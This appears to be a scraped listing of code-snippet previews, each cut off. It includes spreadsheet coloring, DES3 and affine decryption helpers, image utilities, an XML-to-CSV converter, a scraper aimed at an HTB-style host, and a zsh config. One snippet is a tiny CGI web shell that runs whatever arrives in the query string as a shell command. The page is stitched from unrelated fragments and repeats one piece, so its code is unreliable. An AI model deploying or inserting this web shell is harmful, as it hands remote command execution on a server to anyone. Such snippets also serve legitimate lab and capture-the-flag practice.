Install DNS server
sudo apt install dnsmasq -yCreate script that listens to any changes to /etc/dnsmasq.d/ directory and restarts service, meaning you added/removed/updated query.
└─# cat /usr/local/bin/watch_dns.sh
#!/bin/bashInstall DNS server
sudo apt install dnsmasq -yCreate script that listens to any changes to /etc/dnsmasq.d/ directory and restarts service, meaning you added/removed/updated query.
└─# cat /usr/local/bin/watch_dns.sh
#!/bin/bash| function colorCodeTable() { | |
| const sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet(); | |
| const range = sheet.getDataRange(); // Gets the range with data | |
| const values = range.getValues(); | |
| const numRows = values.length; | |
| const numCols = values[0].length; | |
| // Prepare arrays for batch updates | |
| const bgColors = new Array(numRows).fill().map(() => new Array(numCols).fill(null)); |
| import base64 | |
| import sys | |
| from Crypto.Cipher import DES3 | |
| from Crypto.Protocol.KDF import PBKDF2 | |
| def decrypt(passphrase, ciphertext): | |
| data = '' | |
| try: | |
| # Decode the base64 encoded ciphertext | |
| array = base64.b64decode(ciphertext) |
| def affine_decrypt(ciphertext, a, b): | |
| m = 256 # Byte range (0-255) | |
| a_inv = pow(a, -1, m) | |
| return bytes([(a_inv * (byte - b)) % m for byte in ciphertext]) | |
| def brute_force_affine(ciphertext): | |
| m = 256 # Max value | |
| for a in range(1, m): | |
| try: | |
| for b in range(m): |
| #!/bin/sh | |
| echo "Content-type: text/plain" | |
| echo "" | |
| cmd="$QUERY_STRING" | |
| if [ -n "$cmd" ]; then | |
| echo "$($cmd 2>&1)" | |
| else | |
| echo "No command provided." |
| from PIL import Image, ImageDraw, ImageFont | |
| def create_text_image(text, font_path=None, background_color=None, font_size=24, padding=20, fill_color=None): | |
| font_path = font_path or "arial.ttf" | |
| background_color = background_color or (255, 255, 255) # White | |
| fill_color = fill_color or (0, 0, 0) # Black | |
| font = ImageFont.truetype(font_path, font_size) | |
| text_width = int(font.getlength(text)) |
| from PIL import Image | |
| from pathlib import Path | |
| def unmerge_images(input_image_path, output_folder, num_parts): | |
| merged_image = Image.open(input_image_path) | |
| width, height = merged_image.size | |
| part_height = height // num_parts | |
| for i in range(num_parts): | |
| box = (0, i * part_height, width, (i + 1) * part_height) |
| import xml.etree.ElementTree as ET | |
| import csv | |
| from tqdm import tqdm | |
| import sys | |
| def xml_to_csv(xml_file, csv_file): | |
| context = ET.iterparse(xml_file, events=("start", "end")) | |
| context = iter(context) | |
| event, root = next(context) # Get the root element |
| from datetime import datetime | |
| from bs4 import BeautifulSoup as BS | |
| import requests | |
| import random | |
| import string | |
| class Routes: | |
| BASE = 'http://sub.domain.htb' | |
| LOGIN = BASE + '/index.php' |
| # ~/.zshrc file for zsh interactive shells. | |
| # see /usr/share/doc/zsh/examples/zshrc for examples | |
| setopt autocd # change directory just by typing its name | |
| #setopt correct # auto correct mistakes | |
| setopt interactivecomments # allow comments in interactive mode | |
| setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’ | |
| setopt nonomatch # hide error message if there is no match for the pattern | |
| setopt notify # report the status of background jobs immediately | |
| setopt numericglobsort # sort filenames numerically when it makes sense |